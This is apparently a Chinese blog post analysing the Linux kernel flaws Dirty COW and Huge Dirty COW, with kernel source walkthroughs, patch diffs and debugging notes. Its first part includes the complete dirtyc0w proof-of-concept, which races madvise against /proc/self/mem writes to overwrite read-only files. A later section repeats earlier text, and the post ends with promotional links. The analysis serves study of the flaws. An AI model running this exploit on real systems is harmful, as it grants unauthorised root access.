深度分析“大小脏牛”漏洞:CVE-2016-5195和CVE-2017-1000405

1. 概述

脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法,对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复,但国外安全公司Bindecy对该补丁和内容做出深入研究后发现,脏牛漏洞的修复补丁仍存在缺陷,由此产生了“大脏牛”漏洞。

本次实验通过复现分析这两个Linux内核漏洞,完成分析、复现、调试三个过程,以进一步理解Linux内核的机制,掌握“脏牛”漏洞补丁的缺陷,提高对Linux内核漏洞的认识,并巩固Linux内核调试的技巧。

2. 实验环境

虚拟机:Ubuntu 14.04.1 + qemu

内核版本:3.13.0

调试工具:gef

3. “脏牛”漏洞(CVE-2016-5195)复现分析

3.1 概述

该漏洞是Linux的一个本地提权漏洞,发现者是Phil
Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞的原因是get_user_page内核函数在处理Copy-
on-
Write(以下使用COW表示)的过程中,可能产出条件竞争造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的条件竞争发生,就能成功的写回原来的文件。通过修改特定的文件,就可以实现提权的目的。

3.2 前导知识

3.2.1 COW(Copy-on-Write)

在《深入理解计算机系统》这本书中,mmap定义为:Linux通过将一个虚拟内存区域与一个磁盘上的对象(object)关联起来,以初始化这个虚拟内存区域的内容,这个过程称为内存映射(memory
mapping)。

本质上来讲,mmap就是在虚拟内存中为文件分配地址空间。在mmap之后,并没有将文件内容加载到物理页上,只上在虚拟内存中分配了地址空间。当进程在访问这段地址时(通过mmap在写入或读取时FileA),若虚拟内存对应的page没有在物理内存中缓存,则产生"缺页",由内核的缺页异常处理程序处理,将文件对应内容,以页为单位(4096)加载到物理内存。

从原理上来讲,我认为mmap可以分为两种类型,一种是有backend,一种是无backend。在本次的漏洞分析中,涉及到的是有backend模式的MAP_PRIVATE方式。

这是一个copy-on-
write的映射方式。虽然他也是有backend的,但在写入数据时,他会在物理内存copy一份数据出来(以页为单位),而且这些数据是不会被回写到文件的。

3.3 漏洞原理分析

3.3.1 COW流程

当我们用mmap去映射文件到内存区域时使用了MAP_PRIVATE标记,我们写文件时会写到COW机制产生的内存区域中,原文件不受影响。其中获取用户进程内存页的过程如下:

第一次调用follow_page_mask查找虚拟地址对应的page,因为我们要求页表项要具有写权限,所以FOLL_WRITE为1。因为所在page不在内存中,follow_page_mask返回NULL,第一次失败,进入faultin_page,最终进入do_cow_fault分配不带_PAGE_RW标记的匿名内存页,返回值为0。

重新开始循环,第二次调用follow_page_mask,同样带有FOLL_WRITE标记。由于不满足((flags & FOLL_WRITE) &&
!pte_write(pte))条件,follow_page_mask返回NULL,第二次失败,进入faultin_page,最终进入do_wp_page函数分配COW页。并在上级函数faultin_page中去掉FOLL_WRITE标记,返回0。

重新开始循环,第三次调用follow_page_mask,不带FOLL_WRITE标记。成功得到page。但是由于进行了COW,所以写操作并不会涉及到原始内存。

接下来结合linux源码具体解析流程。

3.3.1.1 第一次查找页

在第一次执行时,由于我们在open时要求以可读写的方式打开(O_RDWR),要求页表项具有写权限,所以FOLL_WRITE为1,并调用follow_page_mask查找虚拟地址对应的page。由于mmap后对第一次对映射内存进行操作,所以并不能直接从页表中找到,follow_page_mask返回NULL,第一次失败,进入faultin_page进行调页。

long __get_user_pages( struct task_struct *tsk, struct
mm_struct *mm,

unsigned long start, unsigned long nr_pages,

unsigned int gup_flags, struct page **pages,

struct vm_area_struct **vmas, int *nonblocking)

{

do {

retry:

cond_resched(); /* 进程调度 */

page = follow_page_mask(vma, start, foll_flags, &page_mask); /* 查找虚拟地址的page
*/

if (!page) {

ret = faultin_page(tsk, vma, start, &foll_flags, nonblocking); /* 处理失败的查找*/

switch (ret) {

case 0:

goto retry;

}

}

if (page)

加入page数组

} while (nr_pages);

}

由于FOLL_WRITE为1,所以在faultin_page函数中首先设置了FAULT_FLAG_WRITE为1,然后沿着handle_mm_fault
-> __handle_mm_fault -> handle_pte_fault -> do_fault ->
do_cow_fault利用COW生成页表并建立映射。

static int faultin_page( struct task_struct *tsk, struct
vm_area_struct *vma,

unsigned long address, unsigned int *flags, int *nonblocking)

{

struct mm_struct *mm = vma->vm_mm;

if (*flags & FOLL_WRITE)

fault_flags |= FAULT_FLAG_WRITE; /* 标记失败的原因,设置FAULT_FLAG_WRITE */

ret = handle_mm_fault(mm, vma, address, fault_flags); /* 第一次分配page并返回 0 */

return 0;

}

static int handle_pte_fault( struct mm_struct *mm,

struct vm_area_struct *vma, unsigned long address,

pte_t *pte, pmd_t *pmd, unsigned int flags)

{

if (!pte_present(entry))

if (pte_none(entry))

return do_fault(mm, vma, address, pte, pmd, flags, entry); /*
page不在内存中,调页 */

}

static int do_fault( struct mm_struct *mm, struct
vm_area_struct *vma,

unsigned long address, pte_t *page_table, pmd_t *pmd,

unsigned int flags, pte_t orig_pte)

{

if (!(vma->vm_flags & VM_SHARED)) /* 由于在mmap是使用VM_PRIVATE模式,使用COW分配页 */

return do_cow_fault(mm, vma, address, pmd, pgoff, flags,

orig_pte);

}

static int do_cow_fault( struct mm_struct *mm, struct
vm_area_struct *vma,

unsigned long address, pmd_t *pmd,

pgoff_t pgoff, unsigned int flags, pte_t orig_pte)

{

new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); /* 分配一个page
*/

ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page,

&fault_entry);

do_set_pte(vma, address, new_page, pte, true , true ); /*
设置new_page的PTE */

}

static int __do_fault( struct vm_area_struct *vma, unsigned
long address,

pgoff_t pgoff, unsigned int flags,

struct page *cow_page, struct page **page,

void **entry)

{

ret = vma->vm_ops->fault(vma, &vmf);

}

void do_set_pte( struct vm_area_struct *vma, unsigned long
address,

struct page *page, pte_t *pte, bool write, bool anon)

{

pte_t entry;

flush_icache_page(vma, page);

entry = mk_pte(page, vma->vm_page_prot);

if (write)

entry = maybe_mkwrite(pte_mkdirty(entry), vma); /* 带_RW_DIRTY,不带_PAGE_RW */

if (anon) { /* anon = 1 */

page_add_new_anon_rmap(page, vma, address, false );

} else {

inc_mm_counter_fast(vma->vm_mm, mm_counter_file(page));

page_add_file_rmap(page);

}

set_pte_at(vma->vm_mm, address, pte, entry);

}

static inline pte_t maybe_mkwrite(pte_t pte, struct
vm_area_struct *vma)

{

if (likely(vma->vm_flags & VM_WRITE)) /*
因为是只读的,VM_WRITE为0,所以pte不带_PAGE_RW标记 */

pte = pte_mkwrite(pte);

return pte;

}

至此第一次查询和pagefault处理结束,在内存中分配好了只读的匿名页。

3.3.1.2 第二次查找页

第一次失败处理完毕后,__get_user_pages函数通过goto retry进行第二次查找页。

第二次执行时,因为flags带有FOLL_WRITE标记,而Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的,page是只读的,VM_WRITE为0。此时follow_page_mask返回NULL,进入faultin_page。

struct page *follow_page_mask(

struct vm_area_struct vma, / [IN] 虚拟地址所在的vma */

unsigned long address, /* [IN] 待查找的虚拟地址 */

unsigned int flags, /* [IN] 标记 */

unsigned int page_mask / [OUT] 返回页大小 */

)

{

return no_page_table(vma, flags);

}

static struct page *no_page_table( struct vm_area_struct *vma,

unsigned int flags)

{

if ((flags & FOLL_DUMP) && (!vma->vm_ops || !vma->vm_ops->fault))

return ERR_PTR(-EFAULT);

return NULL;

}

此时由于已经找到了页表,不再调用_do_fault,而是沿着函数调用路径faultin_page -> handle_mm_fault ->
__handle_mm_fault -> handle_pte_fault,最终由于没有写访问权限调用了do_wp_page。

static int handle_pte_fault(…)

if (flags & FAULT_FLAG_WRITE) /* 要求以可写打开,faultin_page函数开头设置了该标志 */

if (!pte_write(entry)) /* 但是没有写权限 */

return do_wp_page(mm, vma, address, pte, pmd, ptl, entry);

do_wp_page会先判断是否真的需要复制当前页,因为上面分配的页是一个匿名页并且只有当前线程在使用,所以不用复制,直接使用即可。

static int do_wp_page( struct mm_struct *mm, struct
vm_area_struct *vma,

unsigned long address, pte_t *page_table, pmd_t *pmd,

spinlock_t *ptl, pte_t orig_pte)

{

old_page = vm_normal_page(vma, address, orig_pte); /* 得到之前分配的只读页,该页是匿名的页 */

if (PageAnon(old_page) && !PageKsm(old_page)) {

int total_mapcount;

if (reuse_swap_page(old_page, &total_mapcount)) { /*
old_page只有自己的进程在使用,直接使用 */

if (total_mapcount == 1) {

page_move_anon_rmap(old_page, vma);

}

unlock_page(old_page);

return wp_page_reuse(mm, vma, address, page_table, ptl,

orig_pte, old_page, 0, 0);

}

unlock_page(old_page);

}

}

static inline int wp_page_reuse( struct mm_struct *mm,

struct vm_area_struct *vma, unsigned long address,

pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,

struct page *page, int page_mkwrite,

int dirty_shared)

{

entry = maybe_mkwrite(pte_mkdirty(entry), vma);

if (ptep_set_access_flags(vma, address, page_table, entry, 1))

update_mmu_cache(vma, address, page_table);

return VM_FAULT_WRITE;

}

这里需要注意wp_page_reuse的返回值是VM_FAULT_WRITE,即handle_mm_fault返回VM_FAULT_WRITE。因此在faultin_page函数中会去掉查找标志FOLL_WRITE,然后返回0。

static int faultin_page(…)

ret = handle_mm_fault(mm, vma, address, fault_flags); /* 返回 VM_FAULT_WRITE
*/

/* 去掉FOLL_WRITE标记, */

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))

*flags &= ~FOLL_WRITE;

return 0;

至此第二次查找页过程结束,导致失败的FOLL_WRITE被去掉了,进行下一次的查找页。

3.3.1.3 第三次查找页

由于前两次已经将所有出错的原因解决了,所以第三次顺利从页表中找到之前分配的page。同时由于进行了COW,所以写操作并不会涉及到原始内存。

3.3.2 漏洞点

上述即为正常情况下的COW过程。但是在这个过程中存在隐患,首先在__get_user_pages函数中每次查找page前会先调用cond_resched()线程调度一下,这样就引入了条件竞争的可能性。同时在第二次查找页结束时,FOLL_WRITE就已经被去掉了。如果此时我们取消内存的映射关系,第三次执行就又会像第一次执行时一样,执行do_fault函数进行页面映射。但是区别于第一次执行,这一次执行时FOLL_WRITE已被去掉,导致FAULT_FLAG_WRITE置0,所以直接执行do_read_fault。而do_read_fault函数调用了__do_fault,由于标志位的改变,所以不会通过COW进行映射,而是直接映射,得到的page带有__PAGE_DIRTY标志,产生了条件竞争。

if ((flags & FAULT_FLAG_WRITE) && !(vma->vm_flags & VM_SHARED)) {

if (unlikely(anon_vma_prepare(vma)))

return VM_FAULT_OOM;

cow_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);

if (!cow_page)

return VM_FAULT_OOM;

if (mem_cgroup_newpage_charge(cow_page, mm, GFP_KERNEL)) {

page_cache_release(cow_page);

return VM_FAULT_OOM;

}

} else

cow_page = NULL; if (flags & FAULT_FLAG_WRITE) { if
(!(vma->vm_flags & VM_SHARED)) {

page = cow_page;

anon = 1;

copy_user_highpage(page, vmf.page, address, vma);

__SetPageUptodate(page);

} else…}

3.4 利用思路

综合上述的漏洞原理分析,我们在进行漏洞利用的时候,主要需要实现的就是在进行完第二次页面查找后取消页面的映射关系。于是得到漏洞利用流程如下:

第一次follow_page_mask(FOLL_WRITE),page不在内存中,进行pagefault处理;

第二次follow_page_mask(FOLL_WRITE),page没有写权限,并去掉FOLL_WRITE;

另一个线程释放上一步分配的COW页;

第三次follow_page_mask(无FOLL_WRITE),page不在内存中,进行pagefault处理;

第四次follow_page_mask(无FOLL_WRITE),成功返回page,但没有使用COW机制。

对于取消页面映射关系,我们可以通过执行madvise(MADV_DONTNEED)实现。madvise系统调用的作用是给系统对于内存使用的一些建议,MADV_DONTNEED参数告诉系统未来不访问该内存了,内核可以释放内存页了。内核函数madvise_dontneed中会移除指定范围内的用户空间page。

最后综合上述利用思路和方法,我们需要做的就是创建两个线程,一个通过write进行页面调度,另一个通过madvise进行取消页面映射。最终得到以下POC:

#include <stdio.h>

#include <sys/mman.h>

#include <fcntl.h>

#include <pthread.h>

#include <unistd.h>

#include <sys/stat.h>

#include <string.h>

#include <stdint.h>

void *map;

int f;

struct stat st;

char *name;

void *madviseThread( void *arg)

{

char *str;

str=( char *)arg;

int i,c=0;

for (i=0;i<100000000;i++)

{

/*

You have to race madvise(MADV_DONTNEED)

This is achieved by racing the madvise(MADV_DONTNEED) system call

while having the page of the executable mmapped in memory.

*/

c+=madvise(map,100,MADV_DONTNEED);

}

printf(“madvise %d\n\n”,c);

}

void *procselfmemThread( void *arg)

{

char *str;

str=( char *)arg;

/*

You have to write to /proc/self/mem

The in the wild exploit we are aware of doesn’t work on Red Hat

Enterprise Linux 5 and 6 out of the box because on one side of

the race it writes to /proc/self/mem, but /proc/self/mem is not

writable on Red Hat Enterprise Linux 5 and 6.

*/

int f=open(“/proc/self/mem”,O_RDWR);

int i,c=0;

for (i=0;i<100000000;i++) {

/*

You have to reset the file pointer to the memory position.

*/

lseek(f,( uintptr_t ) map,SEEK_SET);

c+=write(f,str,strlen(str));

}

printf(“procselfmem %d\n\n”, c);

}

int main( int argc, char *argv[])

{

/*

You have to pass two arguments. File and Contents.

*/

if (argc<3) {

( void )fprintf(stderr, “%s\n”,

“usage: dirtyc0w target_file new_content”);

return 1; }

pthread_t pth1,pth2;

/*

You have to open the file in read only mode.

*/

f=open(argv[1],O_RDONLY);

fstat(f,&st);

name=argv[1];

/*

You have to use MAP_PRIVATE for copy-on-write mapping.

Create a private copy-on-write mapping. Updates to the

mapping are not visible to other processes mapping the same

file, and are not carried through to the underlying file. It

is unspecified whether changes made to the file after the

mmap() call are visible in the mapped region.

*/

/*

You have to open with PROT_READ.

*/

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf(“mmap %zx\n\n”,( uintptr_t ) map);

/*

You have to do it on two threads.

*/

pthread_create(&pth1,NULL,madviseThread,argv[1]);

pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

/*

You have to wait for the threads to finish.

*/

pthread_join(pth1,NULL);

pthread_join(pth2,NULL);

return 0;

}

3.5 复现与调试展示

图片
1:CVE-2016-5195复现展示

图片
2:CVE-2016-5195调试展示

3.6 补丁分析

首先展示补丁内容:

  • static inline bool can_follow_write_pte(pte_t pte, unsigned
    int flags)

+{

  • **return** pte_write(pte) ||
    
  •    ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    

+}

static struct page *follow_page_pte( struct vm_area_struct
*vma,

unsigned long address, pmd_t *pmd, unsigned int flags)

{

@@ -95,7 +105,7 @@ retry:

}

if ((flags & FOLL_NUMA) && pte_protnone(pte))

goto no_page;

  • **if** ((flags & FOLL_WRITE) && !pte_write(pte)) {
    
  • **if** ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
    

pte_unmap_unlock(ptep, ptl);

return NULL;

}

@@ -412,7 +422,7 @@ static int faultin_page( struct task_struct
*tsk, struct vm_area_struct *vma,

  • reCOWed by userspace write).

*/

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))

  •    *flags &= ~FOLL_WRITE;
    
  •        *flags |= FOLL_COW;
    

return 0;

}

可以看到,这个补丁主要是添加了FOLL_COW标志位,来表示已经进行了COW,而不是像之前那样通过去掉FOLL_WRITE来表示。同时在get_follow_mask判定权限的时候同时利用dirty位来判定FOLL_COW是否有效。这样一来即使是条件竞争破坏了一次完整的获取页的过程,但是因为FOLL_WRITE标志还在,所以会重头开始分配一个COW页,从而保证该过程的完整性。

3.7 小结

相较于之前复现分析的两个Linux Kernel
CVE而言,“脏牛”漏洞要更加复杂一点。同时由于涉及到了页面调度的操作,所以需要查阅大量的资料与源码来加深对页面调度整个过程的理解。由于目前调试分析的CVE还不多,所以尽量将每一个CVE都分析到细节,加深理解。

4. “大脏牛”漏洞(CVE-2017-1000405)复现分析

4.1 概述

脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法,对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复,但国外安全公司Bindecy对该补丁和内容做出深入研究后发现,脏牛漏洞的修复补丁仍存在缺陷,由此产生了“大脏牛”漏洞。

“大脏牛”漏洞的产生主要是由于在对“脏牛”漏洞进行补丁的时候,Linux内核之父Linus希望将“脏牛”的修复方法引用到PMD的逻辑中,但是由于PMD的逻辑和PTE并不完全一致才最终导致了“大脏牛”漏洞。

4.2 前导知识

4.2.1 透明大内存页(THP)

内存是由块管理,即众所周知的页面。超大页面是 2MB 和 1GB 大小的内存块。Linux采用了大页面管理方式,2MB 使用的页表可管理多 GB 内存,而
1GB 页是 TB 内存的最佳选择。红帽企业版 Linux 6 开始就采用了超大页面管理。

超大页面必须在引导时分配。它们也很难手动管理,且经常需要更改代码以便可以有效使用。因为 THP
的目的是改进性能,所以其开发者(社区和红帽开发者)已在各种系统、配置、程序和负载中测试并优化了 THP。这样可让 THP 的默认设置改进大多数系统配置性能。

常规的虚拟地址翻译如图所示,PGD,PMD均作为页表目录,当启用大内存页时,PMD不再表示页表目录而是和PTE合并共同代表页表项(PTE)。

图片
3:常规虚拟地址翻译

THP内存页主要被用于匿名anonymous,shmem,tmpfs三种内存映射,即:

anonymous:通过mmap映射到内存是一个匿名文件及不对应任何实际磁盘文件。

shmem:共享内存。

tmpfs:是一种虚拟文件系统,存在于内存,因此访问速度会很快,当使用tmpfs类型挂载文件系统释放,它会自动创建。

在进行本次CVE复现前,首先需要确保内核允许大内存页,通过

cat sudo tee /sys/kernel/mm/transparent_hugepage/enabled

命令查看,alwasy则表示已开启,若未开启则通过

echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled

命令开启。

4.2.2 零页(zero page)

当程序申请匿名内存页时,linux系统为了节省时间和空间并不会真的申请一块物理内存,而是将所有申请统一映射到一块预先申请好值为零的物理内存页,当程序发生写入操作时,才会真正申请内存页,这一块预先申请好值为零的页即为零页(zero
page),且零页是只读的。

由于零页是只读的,如果共享零页的进程A非法写入了特定的值,其他共享零页的进程例如B读入被A篡改的零页的值,那么后续以此为基础的访存等操作就会发生异常,造成进程B
crash,形成漏洞。

4.3 漏洞原理分析

4.3.1 “脏牛”漏洞补丁进一步分析

在“脏牛”漏洞补丁中,不但对faultin_page函数进行了修复,与减少权限请求数不同,get_user_pages现在记住了经过COW循环的过程同时加入了另一个新的follow_page_mask函数。

  • static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)

+{

  • **return** pte_write(pte) ||
    
  •    ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    

+}

可以看到,只需要有FOLL_FORCE和FOLL_COW标志声明过且PTE标记为污染,就可以获取只读页的写入操作。

4.3.2 THP触发漏洞描述

通过上面对“脏牛”漏洞补丁的分析,可以看到,THP内存页修补和普通内存页的修补操作基本一致。但是有一点疏忽的是,对于大内存页来说,不经历COW也可以将内存页标记为脏的。

在通过get_user_pages获取内存页时即会调用follow_page_mask,而当我们的目标是可读THP内存页时,follow_page_mask函数会调用follow_trans_huge_pmd函数,而在follow_trans_huge_pmd函数内部会通过调用touch_pmd函数,在不经历COW的条件下将内存页标记为脏,,使得can_follow_write_pmd的逻辑发生错误。

static void touch_pmd( struct vm_area_struct *vma, unsigned
long addr,

pmd_t *pmd)

{

pmd_t _pmd;

/*

  • We should set the dirty bit only for FOLL_WRITE but for now

  • the dirty bit in the pmd is meaningless. And if the dirty

  • bit will become meaningful and we’ll only set it with

  • FOLL_WRITE, an atomic set_bit will be required on the pmd to

  • set the young bit, instead of the current set_pmd_at.

*/

_pmd = pmd_mkyoung(pmd_mkdirty(*pmd));

if (pmdp_set_access_flags(vma, addr & HPAGE_PMD_MASK,

pmd, _pmd, 1))

update_mmu_cache_pmd(vma, addr, pmd);

}

4.4 利用思路

综合前面对“脏牛”漏洞补丁的进一步分析以及THP的分析,我们下一步只需要获取FOLL_FORCE和FOLL_COW标志即可触发漏洞,这个过程可以采取类似dirtyCOW的利用方式。

综上我们整理漏洞利用流程:

调用follow_page_mask请求获取可写(FOLL_WRITE)THP内存页,发生缺页中断,返回值为NULL,调用faultin_page从磁盘中调入内存页,返回值为0;

随着goto
entry再次调用follow_page_mask,请求可写(FOLL_WRITE)内存页,由于内存页没有可写权限,返回值为NULL,调用fault_page复制只读内存页获得FOLL_COW标志,返回值为0;

随着goto entry
再次调用follow由于cond_resched会主动放权,引起系统调度其他程序,另一个程序B使用madvise(MADV_DONTNEED)换出内存页,同时程序B读内存页,那么则会最终调用touch_pmd,将内存页标记为脏的;

程序再次被调度执行,调用follow_page_mask请求获取可写(FOLL_WRITE)内存页,此时满足FOLL_COW和脏的,因此程序获得可写内存页;

后续进行写入操作,只要设置合理THP内存页可以写前面提到的零页(zero
pages),其他共享零页的进程读取修改后的零页数据进行相关操作就会发生crash,触发漏洞。

4.5 细节探究

事实上,我在同一个虚拟机中实现了这两个漏洞的复现。仔细思考,如果“大脏牛”漏洞的产生是由于“脏牛”漏洞的补丁导致的,那么在还未打补丁的可复现“脏牛”漏洞的内核版本上,“大脏牛”应该是无法复现的,然而我们在同一个内核中同时复现了两个漏洞。

其实,“大脏牛”漏洞的产生不是由于补丁中的FOLL_COW位导致的,前面描述的漏洞原理中起关键作用的touch_pmd函数也是从4.6版本才引入的。也就是说,“大脏牛”漏洞早在启用THP机制其就已经存在了,下面简单对老版本内核的漏洞触发关键位置进行分析。

4.5.1 follow_trans_huge_pmd

在补丁中,follow_trans_huge_pmd是一个关键函数,正是由于其调用的can_follow_write_pmd函数不严谨直接导致了此漏洞。对比补丁前后的代码可以发现,其实打了补丁后,对于漏洞利用的难度提高了。

  • static inline bool can_follow_write_pmd(pmd_t pmd, unsigned
    int flags)

+{

  • return pmd_write(pmd) ||

  •      ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pmd_dirty(pmd));
    

+}

struct page *follow_trans_huge_pmd( struct vm_area_struct *vma,

unsigned long addr,

pmd_t *pmd,

@@ -1138,7 +1154,7 @@ struct page *follow_trans_huge_pmd( struct
vm_area_struct *vma,

assert_spin_locked(pmd_lockptr(mm, pmd));

  • if (flags & FOLL_WRITE && !pmd_write(*pmd))
  • if (flags & FOLL_WRITE && !can_follow_write_pmd(*pmd, flags))

goto out;

在原有的代码中,只需要满足pmd_write返回0即可触发漏洞,而补丁过后的can_follow_write_pmd函数使用了或逻辑,不但要求了pmd_write返回0,还需要满足(flags
& FOLL_FORCE) && (flags & FOLL_COW) && pmd_dirty(pmd)为假。

4.5.2 touch_pmd

在老版本内核中,是没有touch_pmd函数的,这个函数是从4.6版本才有的。但是比较新老版本内核代码就可以发现,新版本内核知识把原来的代码逻辑封装成了新的函数,在老版本代码中也存在这样的问题。

图片
4:老版本内核代码展示

图片
5:新版本内核代码展示

综上,可以发现,其实并不是“脏牛”漏洞补丁引入了“大脏牛”漏洞,而是“脏牛”漏洞补丁未能解决已存在的“大脏牛”漏洞,使其仍可用。

4.6 复现与调试展示

图片
6:CVE-2017-1000405复现展示

图片
7:CVE-2017-1000405调试展示

4.7 补丁分析

首先展示补丁内容

@@ -745,20 +745,15 @@ int vmf_insert_pfn_pmd( struct vm_area_struct
*vma, unsigned long addr,

EXPORT_SYMBOL_GPL(vmf_insert_pfn_pmd);

static void touch_pmd( struct vm_area_struct *vma, unsigned
long addr,

  •   pmd_t *pmd)
    
  •   pmd_t *pmd,  **int** flags)
    

{

pmd_t _pmd;

  • /*

    • We should set the dirty bit only for FOLL_WRITE but for now
    • the dirty bit in the pmd is meaningless. And if the dirty
    • bit will become meaningful and we’ll only set it with
    • FOLL_WRITE, an atomic set_bit will be required on the pmd to
    • set the young bit, instead of the current set_pmd_at.
  • */

  • _pmd = pmd_mkyoung(pmd_mkdirty(*pmd));

  • _pmd = pmd_mkyoung(*pmd);

  • if (flags & FOLL_WRITE)

  •   _pmd = pmd_mkdirty(_pmd);
    

if (pmdp_set_access_flags(vma, addr & HPAGE_PMD_MASK,

  •           pmd, _pmd,  1))
    
  •           pmd, _pmd, flags & FOLL_WRITE))
    

update_mmu_cache_pmd(vma, addr, pmd);

}

@@ -787,7 +782,7 @@ struct page *follow_devmap_pmd( struct
vm_area_struct *vma, unsigned long addr,

return NULL;

if (flags & FOLL_TOUCH)

  •   touch_pmd(vma, addr, pmd);
    
  •   touch_pmd(vma, addr, pmd, flags);
    

/*

  • device mapped pages can only be returned if the

@@ -1158,7 +1153,7 @@ struct page *follow_trans_huge_pmd( struct
vm_area_struct *vma,

page = pmd_page(*pmd);

VM_BUG_ON_PAGE(!PageHead(page) && !is_zone_device_page(page), page);

if (flags & FOLL_TOUCH)

  •   touch_pmd(vma, addr, pmd);
    
  •   touch_pmd(vma, addr, pmd, flags);
    

if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {

/*

  • We don’t mlock() pte-mapped THPs. This way we can avoid

可以看到,本次补丁的核心内容在于调用touch_pmd函数时传入了flags参数,并在将THP标记为dirty之前先检查页面时候可写。这样一来,就无法在不进行COW的前提下对没有写权限的页面直接标记为dirty了。

4.8 小结

该漏洞的产生主要是由于补丁人员想要将添加FOLL_COW标志位避免“脏牛”漏洞的方法扩展到大页面上,这个思想本身并无不妥,只是大页面和正常页面的处理机制上有所不同,大页面可以不经过COW直接标记为dirty导致漏洞仍然存在。

这个漏洞本身比起来“脏牛”漏洞危害性要小很多,同时在有了“脏牛”漏洞的分析复现之后,理解“大脏牛”漏洞会轻松许多,只需要补充THP和零页的基础知识基本可以理解了。因此从分析“大脏牛”漏洞的整个过程来讲,收获比较大的其实是调试和前面的细节探究部分。因为目前为止做过的内核调试还不多,所以调试过程收获颇多。另一方面,通过细节探究,解决了我对于两个漏洞可以在一个版本内核上同时复现的不解。在解决困惑的过程中查询了大量的源码,使我对“大脏牛”漏洞的产生以及Linux内核的THP的机制有了更加深入的理解。

5. 参考链接

Linux内核源码在线查阅网站:https://lxr.missinglinkelectronics.com/linux+v4.6/mm/huge_memory.c

深入解读补丁分析发现的linux内核提权漏洞(CVE-2017–1000405):https://www.anquanke.com/post/id/89096#h2-7

“大脏牛”漏洞分析(CVE-2017-1000405):https://paper.seebug.org/483/

安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405):
https://blog.csdn.net/omnispace/article/details/78935896

  •   touch_pmd(vma, addr, pmd);
    
  •   touch_pmd(vma, addr, pmd, flags);
    

if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {

/*

  • We don’t mlock() pte-mapped THPs. This way we can avoid

可以看到,本次补丁的核心内容在于调用touch_pmd函数时传入了flags参数,并在将THP标记为dirty之前先检查页面时候可写。这样一来,就无法在不进行COW的前提下对没有写权限的页面直接标记为dirty了。

4.8 小结

该漏洞的产生主要是由于补丁人员想要将添加FOLL_COW标志位避免“脏牛”漏洞的方法扩展到大页面上,这个思想本身并无不妥,只是大页面和正常页面的处理机制上有所不同,大页面可以不经过COW直接标记为dirty导致漏洞仍然存在。

这个漏洞本身比起来“脏牛”漏洞危害性要小很多,同时在有了“脏牛”漏洞的分析复现之后,理解“大脏牛”漏洞会轻松许多,只需要补充THP和零页的基础知识基本可以理解了。因此从分析“大脏牛”漏洞的整个过程来讲,收获比较大的其实是调试和前面的细节探究部分。因为目前为止做过的内核调试还不多,所以调试过程收获颇多。另一方面,通过细节探究,解决了我对于两个漏洞可以在一个版本内核上同时复现的不解。在解决困惑的过程中查询了大量的源码,使我对“大脏牛”漏洞的产生以及Linux内核的THP的机制有了更加深入的理解。

5. 参考链接

Linux内核源码在线查阅网站:https://lxr.missinglinkelectronics.com/linux+v4.6/mm/huge_memory.c

深入解读补丁分析发现的linux内核提权漏洞(CVE-2017–1000405):https://www.anquanke.com/post/id/89096#h2-7

“大脏牛”漏洞分析(CVE-2017-1000405):https://paper.seebug.org/483/

安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405):
https://blog.csdn.net/omnispace/article/details/78935896

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

img

img

👉网安(嘿客红蓝对抗)所有方向的学习路线****👈

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

img

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述

👉嘿客必备开发工具👈

工欲善其事必先利其器。学习客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

在这里插入图片描述

如果你有需要可以点击👉CSDN大礼包:《嘿客&网络安全入门&进阶学习资源包》免费分享

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

